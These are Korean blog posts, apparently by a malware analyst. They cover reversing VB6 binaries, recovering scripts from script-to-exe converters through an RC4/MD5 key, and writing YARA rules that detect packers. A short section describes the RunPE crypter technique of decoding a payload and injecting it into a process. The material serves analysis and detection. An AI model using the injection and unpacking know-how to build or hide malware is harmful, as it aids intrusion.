  지금까지는 API 호출 부분만 살펴보았지만 startup() 프로시저의 소스 코드와 어셈블리를 비교해 보면서 공부할 수 있다. API 호출 외에도 VB 문법에 의거한 변수 선언 및 정의나 조건문 같은 부분을 확인할 수 있다. 변수에 문자열을 선언할 때 사용되는 여러 함수들이 보인다. __vbaStrToAnsi(), __vbaStrToUnicode() 부터 __vbaFreeVar(), __vbaFreeStrList() 등이 그것이다. 이러한 부분은 특별한 구조가 있는 것은 아니고 직접 확인해 가면서 공부해야 할 것 같다.





4. P-Code

  앞의 소스 코드를 P-Code로 컴파일한 후 OllyDbg로 확인해 보았다. 크기의 경우 많이 줄어들었는데 항상 그럴것 같지는 않다. 개인적으로는 간단한 샘플이라서 N-Code에서 디폴트로 포함되는 부분 때문에 그렇지 크기가 커진다면 N-Code에서 추가되는 부분보다는 P-Code에서 추가되는 바이트코드 부분이 훨씬 클 것으로 생각한다.


  EP를 호출하는 부분 까지는 같지만 Main()이 다음과 같은 형태를 가지며 이후 분석 진행도 못하고 예외가 발생하므로 그냥 VB Decompiler를 이용하기로 했다.



  VB Decompiler Pro 버전은 P-Code를 읽어서 디컴파일을 해주는 기능이 있다. (무료 버전은 아예 인식 조차 지원하지 않는다) 테스트 결과 간단한 샘플이기는 하지만 상당히 괜찮은 결과가 나왔다. 혹시나 해서 N-Code 디컴파일러도 테스트한 결과 (VB Decompiler 무료 버전은 디스어셈블까지만 지원한다) 이것도 P-Code 만큼은 아니지만 그래도 볼만한 결과가 나온 것을 확인하였다.



  물론 과거 약간의 난독화가 적용된 N-Code를 테스트해 봤을 때는 반도 인식하지 못했었기 때문에 간단한 형태인 경우에만 괜찮은 결과를 내는 것 같다. 그리고 P-Code의 경우 여러 바이너리를 분석해 본 경험이 없기 때문에 판단하기가 힘들다.


  결론적으로 N-Code의 경우 간단한 것은 VB Decompiler Pro의 디컴파일 기능을 사용하면 되고, 난독화 및 복잡한 샘플은 앞에서 정리한 것을 기반으로 직접 디버깅을 수행해야 할 것이다. P-Code는 디버깅이 불가능하기 때문에 VB Decompiler Pro를 사용할 수 밖에 없으며 난독화는 따로 방법을 알아내야 할 것 같다.





5. N-Code ( GUI Program )

  마지막으로 크랙미 문제에서 많이 보이는 GUI 프로그램을 분석해 봤다. 샘플은 Reversing.kr에서 다운로드 가능한 Music Player이다.


  GUI 형태라서 그런지 구조체 오프셋 +2c에서 EP의 주소를 확인할 수 없었다. 프로시저의 형태라던가 API 호출 부분은 모두 같지만 어디가 초기화 루틴이며 무엇에대해 어떤 핸들러 프로시저가 호출되는지 등의 연관성을 찾지는 못했다. 아마 구조체 쪽을 더 자세히 살펴봐야 할 것으로 보인다.


  하지만 이러한 분석 대신 VB Decompiler Pro만 있어도 된다. 이것은 GUI 형태를 분석할 때 더 도움이 된다.



  스크린샷과 같이 Form을 클릭하면 GUI가 나오며 여기서 "Open" 버튼을 클릭했을 때 호출되는 핸들러 함수를 찾아보았다. 이것은 "CMD_OPEN_CLICK"이었으며 오른쪽 화면에서 이것이 주소 0x004036A0에 위치한 핸들러 함수라는 것을 확인할 수 있었다.


  이렇게 전체 함수들을 주소 및 이름 별로 정리해 주고 GUI에 맞는 핸들러까지 확인할 수 있으므로 GUI 형태를 분석하는데 많은 도움이 된다. 개인적으로 전체 프로시저들에 BP를 걸고 실행했을 때 가장 먼저 호출되던 프로시저가 "Form_Activate"였다는 것을 파악할 수 있었고, 이벤트를 받는 동안 즉 대기 기간 동안 루프문을 돌면서 호출되던 프로시저가 "TMR_Timer"였다는 것도 파악할 수 있었다.





6. RunPE

  VB6는 실제 악성코드를 제작하기 위한 목적보다는 Cryptor 형태로서 자주 사용된다. 즉 실제 악성코드는 보통 exe나 dll 형태로 제작하지만 외형을 VB6로 만드는 경우가 그것이다. VB6 코드는 대부분 쓰레기 코드로 이루어져 있으며 이후 디코딩 루틴을 거쳐 실제 PE를 복구하고 정상 프로세스에 인젝션하거나 자체 메모리를 Unmap한 후 새로 쓰는 방식이다. 이러한 방식을 RunPE라고 부르며 인터넷에도 많은 자료가 나와있다. 가장 대표적인 방식은 쓰레기 코드 이후 디코딩 루틴을 CallWindowProcW() 함수의 인자로 등록하는 방식이다.





7. 기타 링크
  막상 블로그에 올리고 난 후 이것 저것 찾아보다가 좋은 링크들을 많이 발견하였다. 오래된 컴파일러다 보니 이미 많은 분들에 의해 분석되고 잘 정리된 곳도 많아 보인다. EP에서 push 했던 구조체인 EXEPROJECTINFO를 포함해서 중요한 자료들이 자세히 정리되어 있다.




Posted by SanseoLab



0. 개요

1. VBScript

2. Powershell

3. Batch





0. 개요

  VBScript, Powershell, Batch, JScript 등 많은 스크립트들이 악성코드로서 사용된다. 이것들은 기본적으로 스크립트 형태이면서도 윈도우 환경에서 실행 가능하다는 속성을 갖는다. 하지만 이런 특징 외에도 프로그래밍이 쉬워서인지 AutoIt, AutoHotKey 처럼 스크립트로 개발되어 exe 바이너리로 변환된 형태의 악성코드들도 많이 보이는 편이다.


  여기서는 VBScript, Powershell, Batch 스크립트가 exe 바이너리로 변환된 경우 이 바이너리에서 스크립트를 직접 추출하는 디컴파일 방식을 다루려고 한다. AutoIt, AutoHotKey의 경우 각각 [ http://sanseolab.tistory.com/59 ]와 [ http://sanseolab.tistory.com/61 ]에서 다루었다. vbs의 경우 [ http://sanseolab.tistory.com/60 ]에서 간략하게 다루었는데 VbsEdit이라는 프로그램에서 Vbs to Exe라는 컨버터 프로그램을 내부적으로 사용하였기 때문이다. Vbs to Exe는 VBScript 항목에서 더 자세하게 다루기로 한다.





1. VBScript

  Vbs to Exe는 이름과 같이 vbs를 exe로 변환해주는 프로그램이다. 해당 프로그램은 [ http://www.f2ko.de/en/programs.php ]에서 받을 수 있으며 해당 사이트에는 아래에서 설명할 파워셸 컨버터인 Ps1 to Exe, 배치 파일 컨버터인 Bat to Exe도 다운로드 받을 수 있다. 참고로 이 세가지의 변환 프로그램은 모두 원리가 동일하므로 여기에서 자세히 설명한 후 각 항목에서는 간략하게 언급만 하고 넘어가겠다.


  Vbs to Exe의 버전은 3.0.7을 기준으로 한다. 변환 후 생성된 PE를 보면 별다른 특징은 발견할 수 없다. 암호화된 스크립트는 리소스 섹션의 RCDATA에 들어있는데 살펴보면 항목이 4개 정도 존재하며 그 중 하나는 암호화된 스크립트로 보일만 할 길이를 가지고 있다는 것을 확인할 수 있다. 나머지 3개는 너무 짧기 때문에 쉽게 구별할 수 있다. 간단하게 Resource Hacker를 이용해 이 부분을 추출한다.


  미리 말하자면 이것은 RC4 암호화 방식을 이용해 인코딩된 스크립트이다. 그렇기 때문에 이것을 디코딩하기 위해서는 RC4 키가 있어야 한다. 리버싱을 진행하다 보면 어디서인가 RC4 키를 구해서 이 부분을 복호화하는 루틴을 확인할 수 있다. RC4 키 생성 루틴을 추적해서 분석해 보면 결국 RC4 키는 data 섹션의 특정한 값을 이용해 MD5 루틴을 거쳐서 만들어진 md5 해시 값이다. md5 루틴의 경우 루틴이 간단한 편이기도 하고 많은 상수 값들이 사용되기 때문에 검색을 통해서 쉽게 파악할 수 있었다.


  data 섹션에 위치한 이 값은 다음과 같은 부분이다.

[ FF FF FF FF    7F 3B D5 06    xx xx xx xx    BB 8E 8E 91 ]


  xx 부분을 제외한 부분은 항상 같기 때문에 이 부분을 이용해서 검색할 수 있다. 실제로 md5에서 사용되는 인풋은 "7F 3B D5 06  xx xx xx xx" 부분이다. md5는 최소 512비트 즉 0x40 크기의 인풋을 받는데 나머지는 패딩으로 채워지는 것 같다. 개인적으로 md5 루틴을 분석하다가 패딩을 생각하지 못해서 어려움을 겪었기 때문에 참고 사항으로 적어 보았다.


  어쨌든 인풋 0x8 바이트를 추출하던지 해서 MD5를 구해보면 0x10 바이트의 (128비트) 값을 구할 수 있다. md5를 구하는 것은 도구를 이용해도 되지만 온라인에서도 쉽게 획득할 수 있다. [ https://www.fileformat.info/tool/hash.htm ] 이 링크의 경우 0x8 바이트를 파일 형태로 저장한 후 업로드해도 되며 바이너리를 그대로 복사해서 입력해도 md5를 구해주기 때문에 가장 편한 사이트로 보인다. 사실 대부분의 암호화/복호화 사이트들이 입력으로 문자열을 받아서 이렇게 직접 바이너리를 분석하는 입장에서는 매우 불편할 때가 많다.


  md5 값은 "fe6d1fed11fa60277fb6a2f73efb8be2"와 같이 확인할 수 있는데 중요한 점은 이것을 대문자로 변환해야 한다는 것이다. 대문자 변환 후 다음 사이트에서 RC4 디코딩을 진행하자. [ http://rc4.online-domain-tools.com/ ] 아까 RCDATA에서 추출한 파일을 입력하고 키로 대문자로 변환된 md5 값을 입력한 후 Plaintext를 선택하고 Decrypt 버튼을 누르면 복호화된 VBS 명령어들을 확인할 수 있다.


  참고로 이러한 과정 없이 덤프를 떠서 문자열을 추출하면 확인할 수 있다. 디코딩 루틴이 실제 행위 이전인 초기에 진행되기 때문이다. 단점은 덤프를 뜰 때 전체를 뜨던지 해야 하는데 복호화된 문자열이 data 섹션 같은 곳이 아니라 초기 루틴에서 할당된 메모리에 복호화되기 때문에 이 부분을 찾아야 한다.





2. Powershell

  Ps1 to Exe라는 프로그램이며 위의 링크에서 다운로드 받을 수 있고 디컴파일 방식은 동일하다. 확인한 버전은 3.0.6이었다.





3. Batch

  Bat to Exe Converter의 경우도 위와 동일하다. 버전은 3.0..10이었다.


  하지만 Batch 파일의 경우 여러 컨버터가 존재하기 때문에 찾아본 내용들을 같이 추가하기로 한다. 먼저 [ http://bat2exe.net/ ]에서 다운로드 받을 수 있는 bat2exe가 있다. 이것을 이용해 바이너리로 변환한 후 확인해보면 7zip의 SFX 방식을 사용하는 것을 알 수 있다. 또한 압축을 풀어보면 아예 원본 batch 파일을 구할 수 있다.


  다음으로 링크 [ https://softwarebydefault.com/open-source-projects/battoexe/ ] 또는 [ https://archive.codeplex.com/?p=bat2exe ]에서 구할 수 있는 bat2exe 컨버터도 있다. 이것은 약간 특이하게 C# 바이너리 형태로 변환된다. 하지만 C#의 경우 dnSpy를 통해 쉽게 디컴파일이 가능하며 해당 바이너리의 경우도 스크립트를 문자열로 확인할 수 있다.



Posted by SanseoLab



0. 개요

1. yara 룰 변환

2. yara 룰 추가

3. 예제 ( ELF )





0. 개요


  PE의 경우 종류가 많으며 이에 따라 최적의 분석 방식이 달라질 수 밖에 없기 때문에 관련 툴들이 이미 많이 나와 있다. PEid의 경우 지원은 이미 끝났지만 userdb.txt라는 텍스트 파일에 사용자가 직접 시그니처를 추가할 수 있다는 장점이 있다. exeinfo PE의 경우 개발자가 꾸준히 업데이트를 해주며 질적으로도 가장 쓸만해 보인다. 추가적으로 PEiD의 userdb.txt 파일에 대한 스캐닝도 지원하기 때문에 자율성도 존재한다.


  하지만 exeinfo PE의 경우 GUI 툴이라서 자동화가 쉽지 않고 개인적으로 필요한 만큼 업데이트가 빠르고 다양하지도 않으며 userdb.txt 파일을 사용하는 방식도 쉽지 않았다. 물론 모든 것을 직접 만드는 것 보다는 괜찮은 도구를 사용하는 것이 좋지만 yara라는 좋은 툴이 이미 존재하기 때문에 이미 이 yara와 이미 어느 정도 쓸만한 userdb.txt를 기반으로 추가적인 시그니처를 만들어서 그때그때 추가하기로 했다.





1. yara 룰 변환


  이미 만들어진 userdb.txt를 yara 룰로 변환하는 파이썬 스크립트가 있다. userdb.txt는 exeinfo PE에서 제공되는 최신 DB를 사용하였다.

[ https://blog.didierstevens.com/2015/03/18/update-peid-userdb-to-yara-rules-py/ ]


> peid-userdb-to-yara-rules.py userdb.txt -p > userdb_new.yar


  만들어진 yara 룰을 이용해서 테스트를 해보겠다.

> yara32.exe userdb_new.yar example.exe


  사용해 보면서 알게된 점이지만 시그니처가 다양하기도 하고 짧은 것도 존재하다 보니 적어도 몇 개 씩은 걸린다. 개인적으로는 더 가능성이 높더라도 하나의 결과만 나오는 것 보다는 몇 개 정도의 결과를 가지고 판단할 수 있는 방식이 더 괜찮아 보인다.


  참고로 yara에서 맞지 않아서인지 에러가 나오는 시그니처들이 약간 존재하는데 이 정도는 없어도 될 것 같다는 생각에 그 부분들은 삭제하기로 했다.





2. yara 룰 추가


  룰을 어떤 방식으로 추가할지는 본인의 선택일 것인데 개인적으로 Packer나 Protector들에 대한 분류 보다는 AutoIt이나 AutoHotKey 같이 스크립트를 바이너리로 변환한 것들을 인식하고 싶었으며 이러한 바이너리들은 String 만으로도 충분한 결과들을 볼 수 있기 때문에 그냥 간단하게 만들어 보았다. 사실 이렇게 하는 방식은 좋지 않아 보이지만 어차피 하면서 수정해 나가야 하기 때문에 예시로 사용한다.


  다음은 AutoHotKey의 B 버전에 대한 룰이다.


rule new_AutoHotKey_B_x86

{

    meta:

        description = "[AutoHotKey_B_x86]"

        ep_only = "false"

    strings:

        $version = {76 65 72 73 69 6F 6E 3D 22 31 2E 30 2E}

        $autohotkey = {6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 57 69 6E 64 6F 77 73 2E 41 75 74 6F 48 6F 74 6B 65 79 22 0D 0A 09 74 79 70 65 3D 22 77 69 6E 33 32 22}

        $arch = {70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 58 38 36 22}

    condition:

        $version and $autohotkey and $arch

}


  각각 다음과 같은 문자열들이다. 오토핫키의 x86 버전은 문자열 정보가 리소스 부분에 잘 나와 있어서 직관적으로 사용하였다. (버전의 경우 1.0 대가 B이며 L 버전이 1.1부터 시작한다)


[ version="1.0. ]

[ name="Microsoft.Windows.AutoHotkey"

type="win32" ]

[ processorArchitecture="X86" ]


  ep_only의 경우 여기서는 "false"를 사용했다. 사실 이것은 PEiD에서 사용된 것으로 보이며 실제 yara에서는 이것보다는 condition 부분이 중요하다. "true"를 사용하는 경우 다음과 같이 변수 뿐만 아니라 추가적인 명시가 필요하다.


condition:

    $a at pe.entry_point


  strings 부분은 변수들에 대해 Hex 값을 지정하였다. 중요한 부분은 condition인데 여기서는 2개의 and 연산을 통해 3 변수 모두 충족되어야 하는 것이 조건이다. and 외에도 or, not 등이 사용될 수 있다. 다음은 3가지 변수 모두 충족됨과 동시에 변수 $ansioruni가 존재하지 않아야 하는 조건이다.


condition:

    ($version and $autohotkey and $arch) and (not $ansioruni)





3. 예제 ( ELF )

  다음은 Avast의 Retdec Team에서 공개한 UPX 시그니처의 일부이다.


import "elf"


rule upx_arm_391_lzma

{

meta:

tool = "P"

name = "UPX"

version = "3.91 [LZMA]"

source = "Made by Retdec Team"

pattern = "00000000F04F2DE930D04DE200308DE50030D0E50250D0E501E0D0E500C09DE514308DE55C309DE50040A0E300408CE5004083E514C09DE50130D0E503308CE0"

start = 380

strings:

$1 = { 00 00 00 00 F0 4F 2D E9 30 D0 4D E2 00 30 8D E5 00 30 D0 E5 02 50 D0 E5 01 E0 D0 E5 00 C0 9D E5 14 30 8D E5 5C 30 9D E5 00 40 A0 E3 00 40 8C E5 00 40 83 E5 14 C0 9D E5 01 30 D0 E5 03 30 8C E0 }

condition:

$1 at elf.entry_point + 380

}


  ELF 포맷에 맞게 "elf"를 import해서 자동으로 EP 즉 elf.entry_point를 지정하여 시그니처 범위를 자동으로 Entry Point로 지정할 수 있다.



Posted by SanseoLab
이전버튼 1 2 3 4 5 6 이전버튼

블로그 이미지
Malware Analyst
SanseoLab

태그목록

공지사항

Yesterday
Today
Total

달력

 « |  » 2024.4
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30

최근에 올라온 글

최근에 달린 댓글

글 보관함